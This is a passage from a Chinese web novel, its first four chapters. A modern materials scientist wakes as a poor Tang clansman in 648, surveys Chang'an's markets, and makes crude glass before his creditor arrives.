《娶妻媚娘改唐史》
第01章 苏醒贞观末
头痛欲裂。
像是有无数根钢针,从太阳穴狠狠扎进大脑深处,搅动着脑髓。意识沉浮在一片混沌的黑暗里,耳边是嗡嗡的轰鸣,夹杂着一些模糊而遥远的声音,听不真切,却带着一种陌生的腔调。
李瑾想睁开眼睛,眼皮却重若千斤。他感觉自己的身体仿佛不是自己的,一种极度的虚弱和麻木掌控了四肢百骸。他试图回忆发生了什么,记忆却支离破碎——最后的印象,是实验室里刺眼的白色灯光、仪器尖锐的警报声,以及一阵天旋地转的剧烈爆炸……是了,那次意外的能量失控事故。
难道我没死?在ICU?
一股浓重而复杂的气味强行钻入他的鼻腔。那是草药苦涩的味道、某种木质家具散发出的淡淡幽香,还夹杂着一丝若有若无的、像是麝香一样的香料气息。这绝不是医院消毒水的味道。
求生的本能让他奋力挣扎,终于,一丝微弱的光线刺破了黑暗。他艰难地掀开了一条眼缝。
模糊的视野逐渐聚焦。首先映入眼帘的,是头顶上方一片朦胧的暗色。那不是熟悉的天花板,而是一种……古老的木质结构?深色的房梁,榫卯交错,支撑起一片略显低矮的屋顶。几片灰色的瓦片从缝隙中隐约可见。
他转动僵硬的脖颈,视线艰难地扫过四周。
自己躺在一张坚硬的床榻上,身下铺着的似乎是粗糙的麻布单子,触感并不舒适。身上盖着一床厚重的、填充着某种絮状物的被子,压得他有些喘不过气。床榻不远处,是一张造型古朴的矮脚方案,案面斑驳,上面放着一只缺了口的青瓷碗,碗底残留着些许深色的药渣。
房间很简陋,土坯的墙壁,地面是夯实的泥土,角落里堆着一些看不清模样的杂物。一扇糊着泛黄麻纸的木棱窗棂半开着,透进些许天光,也带来了外面隐约的人声和鸡鸣犬吠。
这是哪里?影视城?不对,这质感,这气味,太真实了……
一股不属于他的记忆洪流,就在这时猛地冲进了他的脑海,如同决堤的洪水,瞬间将他的意识淹没。
剧烈的疼痛再次袭来,比刚才更甚。他闷哼一声,蜷缩起身子,无数画面、声音、情感碎片在脑中疯狂闪现:
一个同样名叫“李瑾”的年轻男子,约莫十七八岁,穿着类似古装的宽大袍服,在一个看似宗祠的地方跪拜……几个衣着华贵、面色倨傲的少年对他指指点点,口称“破落户”、“旁支庶子”……一个老仆唉声叹气地念叨着“家道中落”、“生计艰难”……一场突如其来的高热,头痛欲裂,胸口憋闷,最终眼前一黑……
两种记忆,两个“李瑾”的人生轨迹,开始强行融合、碰撞。现代的李瑾,是位才华横溢却意外陨落的材料科学博士;古代的李瑾,是大唐帝国一个早已没落的宗室远支,父母双亡,家徒四壁,寄居在长安城远亲的屋檐下,靠着微薄的接济和族学供给勉强过活,前几日感染风寒,竟是一病不起……
“贞观……二十二年……春?”
一个年号和时间从混乱的记忆碎片中浮现,如同黑暗中划过的闪电,瞬间照亮了李瑾混乱的思绪。
贞观?唐太宗李世民的年号?
我……穿越到了一千四百多年前的唐朝?!而且,是贞观末年?那个后世史书称颂的盛世顶点,也是暗流汹涌的权力交替前夜?
巨大的震惊甚至暂时压过了身体的痛苦。他,一个致力于探索未来材料的科研工作者,竟然回到了辉煌与危机并存的古代中国,还成了一个身份尴尬、穷困潦倒的宗室子弟?
他深吸一口气,试图让自己冷静下来。空气带着清晨的微凉和泥土的气息,无比真实地充盈着他的肺叶。他尝试活动手指,起初只是细微的颤动,然后是整个手掌。他慢慢抬起手,放到眼前。
这是一双年轻但略显苍白的手,指节分明,掌心有些许薄茧,似乎是长期握笔所致,但绝非他自己那双因常年实验而带着各种细微伤痕和试剂气味的手。
这不是梦。
真实的触感,陌生的躯体,以及脑海中那份沉甸甸的、属于这个时代“李瑾”的记忆,都在冷酷地告诉他一个事实:他重生了,在一个完全陌生的时空,以一个全新的、却无比糟糕的身份。
强烈的荒谬感和孤立感席卷了他。未来的知识、现代的思维,在这煌煌大唐,有何用处?这个身份又能带给他什么?一个“李唐宗室”的空头名号,在眼下这境遇里,恐怕连一顿饱饭都不如。
就在这时,“吱呀”一声,那扇简陋的木门被推开了。
一个穿着灰色粗布短打、头发花白的老者端着一个陶碗,小心翼翼地走了进来。他看到床上睁着眼睛、正试图撑起身子的李瑾,先是一愣,随即脸上绽放出难以置信的惊喜,差点将碗里的粟米粥洒出来。
“阿郎!您……您醒了?!老天开眼,老天开眼啊!”老仆声音颤抖,急忙将碗放在案上,快步走到床边,眼眶瞬间就红了,“您都昏睡三天了,高热不退,汤水不进,老奴……老奴都以为……”
老仆名叫李福,是这具身体原主父母留下的唯一忠仆,也是如今这破落小院里仅剩的仆人。
看着老人真情流露的激动,李瑾心中五味杂陈。他张了张嘴,喉咙干涩得发不出清晰的声音,只能发出嗬嗬的气流声。
李福立刻会意,连忙从一旁的水壶里倒了一碗温水,小心地扶着李瑾,一点点喂他喝下。
清凉的水滑过喉咙,稍稍缓解了那股灼烧感。李瑾借着李福的搀扶,勉强半坐起来,靠在冰冷的土墙上。他环顾这间真正意义上的“家徒四壁”的屋子,目光最后落在窗外那片被窗棂分割的、灰蓝色的天空。
长安的天空。
一千多年前的长安。
“福伯,”他终于找回了自己的声音,沙哑而陌生,却带着这个时代特有的语音,这是记忆融合带来的本能,“我……睡了多久?外面……现在是何时?”
“阿郎,您昏迷整整三日了。”李福用袖子擦了擦眼角,“今儿个是贞观二十二年,二月初十。眼下刚过卯时,日头还没高升呢。”
贞观二十二年……李瑾在心中快速推算。李世民的生命已经快要走到尽头,太子李治地位已固,但那位未来将搅动天下风云的才人武媚,此刻应该已在感业寺中带发修行,前途未卜……
历史的洪流就在身边涌动,而他却像一个不小心被冲上岸边的溺水者,赤手空拳,身无长物。
强烈的虚弱感再次袭来,他感到一阵眩晕。但与此同时,一种难以言喻的情绪,却在心底慢慢滋生——是恐惧,是茫然,但深处,似乎也有一丝极微弱的、属于科研工作者本能的……好奇与挑战欲。
他活下来了,以一种匪夷所思的方式。
那么,接下来呢?
在这万象包罗、气象恢宏的大唐贞观末叶,他这个来自未来的孤魂,该何去何从?是随波逐流,在这个陌生的时代挣扎求存,直至悄无声息地湮灭于历史长河?还是……利用脑海中那些超越千年的见识,做点什么?
他暂时没有答案。身体依旧虚弱,处境依旧艰难,前路一片迷雾。
他轻轻闭上眼,感受着心脏在陌生的胸腔里沉稳而有力地跳动。
至少,他还活着。
在这伟大的时代,活着,本身就是一切可能的开始。
窗外的长安城,正随着晨曦一同缓缓苏醒。一百零八坊的钟鼓声隐约传来,坊门开启,车马辚辚,人声渐起。这座当时世界上最大、最繁华的都市,正开始它新的一天。而属于李瑾的,在大唐的第一天,也才刚刚揭开序幕。
未来的路,注定漫长而艰难,但当他再次睁开眼时,那双原本属于落魄宗室子的眼眸深处,已悄然点燃了一丝不属于这个时代的、冷静而坚韧的火光。
第02章 我是谁家子
接下来的几日,李瑾(或许,现在必须完全接受这个身份和名字了)是在一种半梦半醒的混沌与缓慢的恢复中度过的。
高烧虽退,但身体的虚弱并非一朝一夕能够弥补。大部分时间,他只能躺在硬板床上,听着窗外长安城隐约传来的、如同背景音一般的生活交响——远处街市模糊的叫卖、近处坊内邻里的寒暄、孩童的嬉闹、车辙碾过黄土路的辘辘声。这些声音,与他记忆中现代都市的喧嚣截然不同,它们更具体,更充满烟火气,却也带着一种时空错置的疏离感。
他利用这段被迫静止的时间,像整理一堆杂乱无章的档案一样,小心翼翼地梳理着脑海中那份属于“原主”的记忆。这并非愉快的体验,如同强行观看一部以第一人称视角拍摄的、画面粗糙且充满压抑色彩的纪录片。
宗室远支,名存实亡。
这是对他身份最精准的概括。这个李瑾,祖上确实可以追溯到唐高祖李渊的某个兄弟,但经过几代传承,早已是旁支的旁支,血脉稀薄得如同兑了太多水的酒。所谓的“宗室”身份,除了一个听起来还算唬人的名头,以及在太常寺宗正寺那边有个微不足道的记录外,并未带来任何实质性的好处。没有封邑,没有实职,甚至连定期领取的微薄禄米,也因朝中人事更迭和胥吏的层层盘剥,时有时无,难以指望。
父母在他少年时期便相继病故,留下的家产本就不丰,经过一番折腾,如今只剩这位于长安城偏僻坊区(记忆显示是“崇仁坊”南隅,并非显贵所居之地)的一处小院,以及一个忠心耿耿的老仆李福。
生计艰难,前途黯淡。
原主的人生轨迹简单得近乎苍白。在族学中读过几年书,识文断字,受过最基础的儒家教育,也曾怀揣着通过科举或门荫步入仕途、重振家声的梦想。然而,现实是冰冷的。科举一途,竞争激烈远超想象,没有名师指点,没有家族奥援,仅凭一点天资和努力,想要在万千士子中脱颖而出,难如登天。门荫更是痴心妄想,他这种边缘宗室,早已被排除在权力核心的恩泽范围之外。
于是,年近弱冠的原主,便处在一种高不成低不就的尴尬境地。继续读书,前途渺茫;放弃学业,又能去做什么?经商?士农工商,阶层分明,宗室子弟哪怕再破落,公开操持贱业也会被人耻笑,甚至可能引来宗正寺的干涉。托关系谋个胥吏小职?同样需要打点和人脉,而这正是他最缺乏的。
这种对未来的焦虑,加上自幼体弱和家境贫寒带来的自卑敏感,使得原主的性格有些内向甚至懦弱。在族学中,他常常是沉默寡言、被其他家境稍好的宗室子弟边缘化的那一个。这次突如其来的大病,某种程度上也是长期郁郁寡欢、身心俱疲下的总爆发。
“唉……”
李瑾(现代灵魂)在心中暗暗叹了口气。这开局,可谓是地狱难度。无权无势,无财无依,只有一个空头宗室招牌,反而可能是一种束缚。
老仆李福是他了解外界和自身处境的主要信息来源。这个老人似乎将全部的希望和感情都寄托在了这位小主人身上,照顾得无微不至。从李福絮絮叨叨的话语中,李瑾拼凑出了更多细节。
“阿郎,您可算挺过来了,真是列祖列宗保佑。”李福一边给李瑾喂着苦涩的汤药,一边念叨,“前几日您病得厉害,老奴想去求本家那边的管事,看能不能请个好些的郎中,或是支借些钱帛……可,可连门房都没给好脸色,说……说咱们这一支早就出了五服,莫要再去打秋风……”
李福的语气里充满了无奈和愤懑。所谓的“本家”,指的是血缘关系相对较近、如今在朝中还算有些头脸的某一房宗室。但人情冷暖,世态炎凉,在他们身上体现得淋漓尽致。
“这月的禄米,又被克扣了不少,送来的都是些陈年旧粟,怕是只够咱们主仆二人喝十来日的稀粥了。”李福愁容满面,“眼看就要开春,阿郎您的春衫还没着落,去年那件已经短了一截……”
李瑾默默地听着,没有像原主可能做的那样,流露出沮丧或愤怒,只是眼神平静地分析着这些信息。生存压力是眼前最现实的问题。吃饭,穿衣,基本的生存保障。
他尝试着下床活动。双腿虚弱得如同踩在棉花上,每一步都需要扶着墙壁或家具。他走到那扇糊着麻纸的窗前,轻轻推开一条缝隙。
二月的长安,春寒料峭。阳光斜斜地照进小院,院中一棵老槐树尚未发芽,枝干虬曲地伸向天空。院子不大,墙角堆着些柴火,地面打扫得还算干净,但难掩贫寒之气。透过低矮的土坯院墙,可以看到邻居家升起的袅袅炊烟,以及更远处坊墙上巡逻兵士走过的身影。
这就是大唐,这就是贞观盛世。有万国来朝的恢弘,必然也有蝼蚁求存的艰辛。阳光之下,阴影并存。
“福伯,”李瑾转过身,声音虽然依旧虚弱,但带着一种让李福微微一愣的沉稳,“家里……现在还有多少银钱?”
李福怔了怔,似乎没料到小主人会突然问这个,而且语气如此平静。他忙答道:“还有……还有几贯开元通宝,还有些零散的铜钱,加起来……大概能值个三四贯钱吧。另外,夫人留下的一支银簪,一直收着,以备不时之需。”三四贯钱,按照此时的购买力,大概只够普通百姓一家数口一两个月的基本嚼用,对于他们主仆二人来说,也支撑不了太久,尤其是在没有稳定进项的情况下。
李瑾点了点头。启动资金少得可怜。他慢慢走回床榻边坐下,目光落在房间角落里那几卷原主读过的书籍上——几本基础的儒家经典,《论语》、《孝经》,还有一些抄写的诗赋文章。知识,或许是原主留下的唯一有价值的“遗产”,也是他目前唯一可能依仗的东西。
但如何将知识转化为生存资源?去卖字?替人抄书?效率低下,收入微薄。凭借超越时代的见识去制造点什么?比如改进些日常用品?他想到了玻璃、肥皂、白糖……但旋即否定了这个想法。一来,启动需要最基本的实验条件和材料,他现在一无所有;二来,匹夫无罪,怀璧其罪,在没有丝毫自保能力的情况下,拿出超越时代的东西,无异于小儿抱金于闹市,只会引来灾祸。
必须谨慎,步步为营。
当务之急,是尽快恢复体力,然后走出去,亲眼看看这个时代的长安,亲身体验市井生活,寻找可能的机会。困在这方寸小院,永远无法破局。
“福伯,这些日子辛苦你了。”李瑾看着老人憔悴的面容,语气诚恳地说道,“我既已醒来,身体也在好转,以后的事,我们一起想办法。”
李福听到小主人这番话,眼圈又红了。他感觉阿郎病了这一场后,似乎有些不一样了。具体哪里不同,他说不上来,只是觉得眼神不再像以前那样总是带着怯懦和迷茫,而是变得……变得深沉了许多,像是一潭静水,看不到底。
“阿郎言重了,这是老奴的本分。”李福抹了抹眼角,“您能好起来,比什么都强。钱帛的事,您别太操心,老奴再想想办法,看能不能接些浆洗或者帮佣的短工……”
“不,”李瑾轻轻摇头,打断了李福的话,“那些事暂且不急。你先帮我弄些吃食来,要实在些的,光喝粥顶不住力气。另外,等我再好些,我想去东西两市走走看看。”
“去东西市?”李福有些惊讶。原主因为家境和性格,其实很少去那些热闹繁华之地,尤其是需要花钱的西市。
“嗯,”李瑾望向窗外,目光似乎要穿透坊墙,看到那座传说中的帝国心脏,“总得亲眼看看,这长安城,究竟是个什么样子。”
他的语气平静,却带着一种不容置疑的决心。了解环境,是生存和谋划的第一步。这个“家”的贫弱,他已经清楚了。接下来,该去认识一下即将置身其中的广阔舞台了。
李福看着小主人沉静的侧脸,虽然担忧,却也没再多说什么,只是应了一声,默默退出去张罗饭食。他隐约觉得,一场大病之后,阿郎或许真的不一样了。也许……这是转机?
李瑾独自坐在榻上,手指无意识地敲击着身下粗糙的席子。理清了身份和处境,前路虽然迷雾重重,但至少方向明确了一些。
活下去,然后,利用一切能利用的,在这个波澜壮阔的时代,先站稳脚跟。
感业寺……武媚……这些名字在他心底深处闪过,但很快被按了下去。那些都还太远。眼下,他首先要面对的,是这贞观盛世的真实市井,是下一顿饭的来源。
他深吸一口气,空气中弥漫着药味、土腥味,以及一丝若有若无的、来自遥远坊市的食物香气。
长安,我来了。以一个最不起眼的身份,带着一个不属于这个时代的灵魂。
第03章 东市西市行
又将息了三四日,在李福精心熬制的粟米粥和偶尔换来的一两个鸡蛋的滋养下,李瑾的身体总算恢复了些许气力,虽然依旧清瘦,但至少行走坐卧已无大碍。那股萦绕不去的虚弱感渐渐被一种对新世界的强烈好奇所取代。
这一日,天光晴好,虽春寒未尽,但阳光照在身上已有了些许暖意。李瑾换上了一件浆洗得发白的青色圆领袍衫,这是原主最好的一件出门衣裳,即便如此,肘部也已有不易察觉的细微磨损。李福本想劝阻,觉得阿郎病体初愈,不宜去那人多眼杂之处,但看到李瑾眼中那不容置疑的坚定神色,话到嘴边又咽了回去,只是默默将家里仅剩的几十文钱仔细串好,塞进李瑾的袖袋里,又再三叮嘱要小心财物,早些回来。
主仆二人出了那扇吱呀作响的简陋木门,走进了崇仁坊的街巷。
与李瑾想象中帝都坊区的整齐划一不同,崇仁坊内的道路并非笔直宽阔,而是蜿蜒曲折,两旁是高低错落的土坯墙或篱笆墙,墙内露出各式各样的屋顶,有普通百姓的茅草顶,也有稍富裕人家的瓦顶。巷子里有孩童追逐打闹,有妇人坐在门口缝补,也有挑着担子走街串巷的货郎吆喝着“磨剪子嘞锵菜刀”。生活气息扑面而来,真实而琐碎。
他们需要穿过几个里坊,才能到达皇城东南方、面向达官显贵居住区的东市。唐代长安实行严格的坊市制度,居民区(坊)与商业区(市)分离,两市(东市、西市)定时启闭,由市署管理。
走在坊间的街道上,李瑾尽可能地观察着一切。路面是夯实的黄土,车辙印很深,若是雨天,必然泥泞不堪。空气中有牲畜粪便、炊烟、以及某种类似劣质香料混合的复杂气味。行人的穿着大多以麻、葛为主,颜色单调,少见鲜艳的丝帛。偶尔有装饰华丽的马车在扈从的簇拥下疾驰而过,溅起尘土,行人纷纷避让,显示出森严的等级差距。
这一切,都与他记忆中史书描绘的“贞观之治,斗米三钱,路不拾遗”的盛世图景,既有吻合之处,又有更为复杂的底层细节。盛世之下,亦有寻常百姓的艰辛。
走了约莫小半个时辰,穿过数道坊门,人流量明显增大,嘈杂声也越发响亮。终于,一片被高大夯土墙围起来的巨大区域出现在眼前,墙上开有市门,门楣上有石刻的“东市”二字,门旁有市署的胥吏和兵士把守。这就是东市了。
步入东市,仿佛瞬间进入了另一个世界。
喧嚣声如同热浪般扑面而来。眼前是纵横如棋盘般的街道,街道两旁店铺林立,旌旗招展。丝帛行、珠宝店、铁器铺、书店、药行……鳞次栉比。穿着各色服饰的人摩肩接踵,有宽袍大袖、头戴幞头的士人,有身穿锦缎、大腹便便的商人,有荆钗布裙的妇人,也有卷发深目、穿着翻领胡服的西域胡商。
叫卖声、讨价还价声、车马声、骡马嘶鸣声,交织成一曲沸腾的市井交响乐。
“阿郎,跟紧老奴,这里人多手杂。”李福紧张地护在李瑾身前。
李瑾点了点头,目光却如同最贪婪的探照灯,扫视着周围的一切。他看到了绸缎庄里光洁亮丽的绫罗绸缎,看到了金银铺里工匠正在捶打精美的饰品,看到了乐器行里摆放的琵琶、箜篌。他甚至在一家规模不小的书肆前驻足,里面不仅有儒家经典,还有医书、历书、字帖,书籍多是卷轴装或经折装,价格不菲。
这里的商品明显偏向高端,顾客也以衣着光鲜者居多。空气中弥漫着高级香料、皮革和油漆的味道。这就是东市,主要服务对象是王公贵族和官僚阶层。
李瑾在一个售卖奢侈品的摊位前,看到了一面磨得极为光亮的铜镜,他下意识地瞥了一眼。镜中映出一张年轻而略显苍白的面孔,眉眼清秀,但带着长期营养不良的憔悴,眼神却异常深邃冷静,与这张略显稚嫩的脸庞有些格格不入。这就是他如今的模样。
他没有在任何店铺停留问价,因为他袖中的几十文钱,在这里恐怕连一尺像样的绢布都买不起。他来这里的目的,是观察,是感受,是收集信息。
他注意到交易的媒介主要是开元通宝,但也有以绢帛等实物进行交易的。他看到胡商与汉商用手势和半生不熟的官话激烈地讨价还价。他观察到市署的胥吏在市场中巡逻,维持秩序,也负责征收市税。
“福伯,去西市看看。”李瑾对身边紧张兮兮的老仆说道。东市虽繁华,但离他的生活太远,他想去看看更具烟火气、也更可能隐藏机会的西市。
西市位于长安城西部,周围多是平民居住区和胡人聚居区。从东市到西市,需要穿过小半个长安城。走在宽阔的朱雀大街上,看着远处气势恢宏的皇城宫阙,李瑾再次深切感受到了这座城市的宏伟尺度与帝国的强盛国力。
比起东市的“雅”,西市则突出一个“闹”和“杂”。
刚一踏入西市范围,一股更浓烈、更复杂的气味便涌入鼻腔。牲口市场的腥臊气、皮毛市场的膻味、餐饮摊贩传来的食物香气、还有各种香料、药材、乃至鱼腥味混杂在一起,形成一种独特的、充满生命力的市井气息。
这里的店铺和摊位更加密集,商品种类也更为庞杂。除了常见的日常用品,这里更有来自世界各地的奇珍异宝:西域的毛毯、波斯的宝石、大食的琉璃器、天竺的香料、高丽的参茸……应有尽有。胡商的身影也比东市更多,各种语言交织,俨然一个国际性的贸易中心。
李瑾看到了售卖鞍鞯辔头的马具行,看到了摆满犁铧锄头的农具铺,看到了热气腾腾的蒸饼摊、汤饼店,还有当垆卖酒的胡姬,她们高鼻深目,梳着繁复的发髻,穿着艳丽的裙装,热情地招揽着顾客。
他在一个售卖杂货的摊位上,看到了类似现代酱油或醋的液态调味品,用陶罐装着;在另一个摊位上,看到了粗糙的纸张,价格比书籍便宜很多,但质量远不如后世。他甚至在一个胡商的摊位上,看到了几种他不认识的蔬菜种子和干果。
这一切,都让李瑾感到一种奇异的兴奋。这是活生生的历史,是书本无法给予的直观体验。他的大脑飞速运转,分析着各种商品的材质、工艺、可能的成本与利润,思考着哪些东西可以利用现代知识进行改进,而又不至于太过惊世骇俗。
在一个相对僻静的角落,有一个旧书摊,不仅卖书,也收售一些旧物。李瑾的目光被一块黑乎乎、拳头大小的石头吸引住了。摊主是个干瘦的老头,正眯着眼打盹。
李瑾走过去,拿起那块石头,入手颇沉。他仔细看了看,心中微微一动。这似乎是……一块含铁量很高的铁矿原石?或者,是某种金属矿石?他对矿物学有一定了解,但这块石头的具体成分,还需要进一步鉴别。
“老丈,此物何价?”李瑾轻声问道。
老头睁开眼,瞥了瞥李瑾的穿着,懒洋洋地道:“十文钱。河边捡的,压咸菜缸倒是不错。”
李瑾没有还价,从袖中数出十文钱递了过去。他隐约觉得,这东西或许有用,哪怕只是用来研究一下这个时代的矿物水平。
就在他接过石头,准备离开旧书摊时,旁边两个穿着普通麻布衣服、像是仆役模样的人的对话,随风飘进了他的耳朵。
“听说了吗?感业寺那边,前几天好像不太平……”
“可不是嘛,说是先帝爷的那些……唉,总之是非之地,少议论为妙。”
感业寺!
李瑾的心猛地一跳,如同被一根无形的针扎了一下。他立刻停下脚步,状似随意地翻看摊上的旧书,耳朵却竖了起来,试图捕捉更多的信息。
但那两人似乎只是随口一提,很快便转换了话题,聊起了最近的米价。
李瑾握着那块微凉的矿石,站在原地,心中却已波澜起伏。
感业寺。他终于真切地听到了这个名字。这个与武媚娘命运紧密相连的地方。它不再仅仅是史书上的一个名词,而是真实存在于这个城市某个角落的、可能正发生着某些事情的场所。
原来,她离自己,并不像想象中那么遥远。
这偶然听来的只言片语,像是一颗投入湖面的石子,在他原本只专注于生存大计的心湖中,漾开了一圈小小的涟漪。历史的经纬,似乎在以一种不经意的方式,开始将他这个意外的闯入者,轻轻编织进去。
他抬起头,望向西市熙熙攘攘的人流,望向远处长安城巍峨的城墙和天际线。这座伟大的城市,不仅有着令人惊叹的繁华,也隐藏着无数不为人知的悲欢与秘密。
“走吧,福伯,我们回去。”李瑾将矿石揣进怀里,语气平静,但眼神深处,已多了一丝不同寻常的光芒。
西市之行,让他看到了机会,也听到了历史的回响。前路,似乎清晰了一些,也……更加复杂了一些。
第04章 琉璃杯惊变
从西市归来后的几日,李瑾的生活似乎又回到了病愈初期的平静。他大部分时间待在简陋的小院里,或是在院中那棵老槐树下踱步,或是翻阅原主留下的那几卷书籍,看似无所事事,实则脑海中正进行着激烈的思想风暴。
西市的见闻,尤其是那块廉价购得的矿石和关于感业寺的只言片语,如同投入静湖的石子,持续在他心中漾开涟漪。生存的压力和历史的回响交织在一起,催促他必须做点什么,但又不能轻举妄动。
那块黑黢黢的矿石被他反复摩挲、观察。凭借有限的矿物学知识,他初步判断这可能是一种含铁量较高的矿石,或许还伴生有少量其他金属。但这远远不够。他需要更具体的信息,需要了解这个时代材料科学的实际水平,更需要一个契机,一个能让他低调地验证想法、并可能带来微小收益的契机。
直接冶炼金属?以他目前的条件和身份,无异于天方夜谭。他需要的是一个起点更低、更容易操作、且能快速见到成效的“项目”。
这一日,李福从外面回来,脸上带着几分忧色。原来,他之前为了给李瑾治病和补身体,向邻近相熟的杂货铺王掌柜赊欠了些许钱帛,今日王掌柜虽未明着催债,但言语间已透露出难处。
“阿郎,都是老奴没用……”李福嗫嚅道。
李瑾摆了摆手,打断了他的自责。经济压力是实实在在的,逃避不了。他沉吟片刻,目光落在了墙角那只盛水的陶罐和喝水的粗陶碗上。唐代的日用器皿,多以陶、瓷、漆、木、金属为主,玻璃(此时称为琉璃)制品大多依赖西域进口,价格昂贵,且多为色彩艳丽的不透明或半透明器皿,纯净透明的玻璃极为罕见,几乎与珠宝等价。
一个念头,如同黑暗中划过的闪电,骤然照亮了他的思绪。
琉璃……玻璃……其主要成分是二氧化硅,也就是沙子。助熔剂可以用天然碱或草木灰……着色剂则可以利用不同的金属氧化物……这些基础化学知识,对于一个材料学博士来说,几乎是刻在骨子里的。而烧制温度,虽然要求较高,但唐代的陶瓷窑炉技术已经相当成熟,达到熔化玻璃的温度并非不可能。
最关键的是,原料易得,成本极低!沙土、草木灰、以及一些可能找到的矿物(比如那块矿石或许就能提供某些金属元素),这些几乎不需要花钱。
风险在于,他从未亲手烧制过玻璃,只有理论。而且,如何解释他懂得这门被视为“西域秘术”的技艺?
权衡利弊,李瑾很快下了决心。必须试一试。这可能是目前最适合他处境的一条路。至于解释,一个破落宗室子弟,偶然从某本“孤本杂书”上看来的“古法”,足以搪塞。毕竟,好奇心和无路可走的困境,是最好的掩护。
“福伯,”李瑾开口,声音平静却带着一种让李福安心的力量,“你可知这长安城外,哪里能找到细腻些的白沙?还有,多收集一些干净的草木灰来。”
李福愣了一下,虽然不明所以,但还是老实回答:“渭河边的沙子倒是细腻,草木灰灶下就有。阿郎,您这是要……”
“莫问,先备来。另外,再去王掌柜那里,看看能否赊借一小袋石碱(天然碱),就说……就说我要用来清洗衣物。”李瑾吩咐道,语气不容置疑。
李福看着小主人那双沉静如水的眼睛,心中虽有万千疑惑,却莫名生出一股信任,应了一声便去张罗了。
接下来的两天,小院里进行着秘密的“实验”。李瑾指挥李福,将淘洗干净的细沙、过滤后的草木灰水、以及好不容易弄来的一点点石碱,按照他估算的比例混合,加水搅成粘稠的糊状。他没有制作复杂器形的野心,目标只有一个:烧制出一小块尽可能纯净透明的玻璃。
他没有窑炉,只能因陋就简。他让李福找来一个废弃的小陶罐,将混合好的料浆放入罐底,然后用黄泥仔细封住罐口,只留几个极小的出气孔。最后,在院中避风处架起一个小型的露天柴堆,将封好的陶罐放在火堆中心,开始长时间、不间断地煅烧。
这是一个极其原始且成功率渺茫的方法,完全依赖于他对温度和化学反应时间的直觉控制。李瑾亲自动手,不断添加耐烧的硬木,保持火焰的稳定。浓烟和高温让他汗流浃背,脸上也沾满了烟灰,但他眼神专注,紧紧盯着那团火焰,仿佛在凝视着未来的希望。
李福在一旁帮忙,看着小主人那与年龄不符的沉稳和专注,心中惊疑不定,却不敢多问,只是默默地打着下手。
煅烧持续了大半天,直到日落西山,柴薪将尽。李瑾小心翼翼地用木棍将灼热的陶罐从灰烬中拨出,待其自然冷却。等待的过程无比煎熬,连李福都忍不住频频张望。
夜色渐深,陶罐终于凉了下来。李瑾深吸一口气,用石头轻轻敲击罐体。
“咔嚓”一声,陶罐碎裂。借着朦胧的月光和屋内透出的微弱灯光,李瑾和李福同时屏住了呼吸。
破碎的陶片中间,有一小坨不规则形状的、暗绿色的、半透明的疙疙瘩瘩的东西。它远非李瑾想象中的纯净透明,内部充满了气泡和杂质,颜色也浑浊不堪,更像是一块失败的、丑陋的琉璃废料。
李福眼中闪过一丝失望,但李瑾的眼睛却猛地亮了起来!
虽然品相极差,但这确确实实是玻璃!是经过高温熔融后重新凝结的非晶体!成功了!至少在原理上,他成功了!
“福伯,你看,”李瑾的声音带着一丝不易察觉的颤抖,他拿起那块还带着余温的、坑洼不平的玻璃疙瘩,对着月光,“光,能透过来。”
李福凑近一看,果然,朦胧的月光透过那丑陋的疙瘩,散发出一种奇异而柔和的光晕。他从未见过这样的物事,既不是玉石,也不是水晶,更不是常见的彩色琉璃。
“阿郎……这,这是何物?”李福的声音充满了惊奇。
“此物……或可称之为‘净琉璃’。”李瑾斟酌着用词,“只是初次试制,火候和材料都不精,故而品相粗劣。但此法若成,或许能解我们眼下之急。”
他仔细检查着这块“初级产品”,分析着失败的原因:杂质太多,混合不均匀,温度控制不精确,冷却速度太快……问题很多,但方向没错。只要加以改进,纯净透明的玻璃并非遥不可及。
就在主仆二人对着这块丑陋的玻璃疙瘩既兴奋又沉思之际,院门外突然传来了轻轻的叩门声。
两人俱是一惊。这么晚了,会是谁?
李福警惕地走到门边,低声问道:“谁?”
门外传来一个略显熟悉的、带着商贾特有圆滑的声音:“可是李瑾郎君府上?老朽是邻街杂货铺的王掌柜,听闻郎君病体初愈,特来探望,顺便……咳咳,聊聊旧账。”
是债主王掌柜。李瑾心中了然,定是李福白日去赊借石碱,引起了对方的注意,又或许是一直惦记着欠款,趁夜前来探听虚实。
李瑾迅速将那块玻璃疙瘩和地上的狼藉用脚拨到角落的阴影里,示意李福开门。
门开处,一个穿着绸布长衫、身材微胖、面带和气生财笑容的中年人走了进来,手里还提着一小包点心。正是王掌柜。他一进门,小眼睛就习惯性地四下扫视,掠过简陋的院落,最后落在李瑾身上,尤其是在李瑾沾满烟灰的衣袍和脸上停留了片刻。
“哎呦,李郎君,您这是……”王掌柜脸上露出恰到好处的惊讶。
“有劳王掌柜挂心,不过是偶感风寒,已无大碍。”李瑾拱手还礼,语气平淡,“至于欠款,还请宽限几日,不日定当奉还。”
王掌柜呵呵一笑,将点心放在院内唯一的石墩上:“郎君客气了,些许小事,不足挂齿。只是……”他话锋一转,目光再次扫过院子,似乎嗅到了空气中残留的烟火和某种奇特的气味(或许是熔融的硅酸盐味道),“方才在院外,似乎看到火光,又闻得异香,还以为郎君在炼制什么丹药或是……奇物?”
他到底是经商之人,眼尖鼻灵,显然察觉到了院中的异常。
李瑾心中一动,面上却不动声色:“掌柜说笑了,不过是尝试用古法烧制些小玩意儿,不成想技艺粗劣,弄得一片狼藉,让掌柜见笑了。”
“古法?小玩意儿?”王掌柜的小眼睛亮了一下,兴趣更浓。他这种商人,对“奇货可居”最是敏感。一个破落宗室子弟,深更半夜偷偷摸摸“烧制”东西,这本身就引人遐想。
李瑾本欲低调,但眼见王掌柜已经起疑,若一味遮掩,反而更惹人猜忌。他心念电转,忽然改变了主意。或许……这是一个机会?一个将“隐患”转化为“契机”的机会。
他故作犹豫片刻,然后从角落的阴影里,拿出了那块刚刚冷却的、丑陋的玻璃疙瘩,递到王掌柜面前。
“便是此物,初次试手,粗劣不堪,贻笑大方了。”
王掌柜疑惑地接过那块疙疙瘩瘩、颜色暗绿的东西,入手微凉,沉甸甸的。他起初不以为意,但当他下意识地将其凑到眼前,借着月光仔细观看时,他的呼吸骤然停滞了!
只见那疙疙瘩瘩的表面之下,内部竟有一种难以言喻的、浑浊却又透着光的气质!它不是玉,不是石,更不是他所知的任何材料!它……它似乎是透明的,或者说,半透明的!虽然充满了杂质和气泡,丑陋无比,但这种材质感……
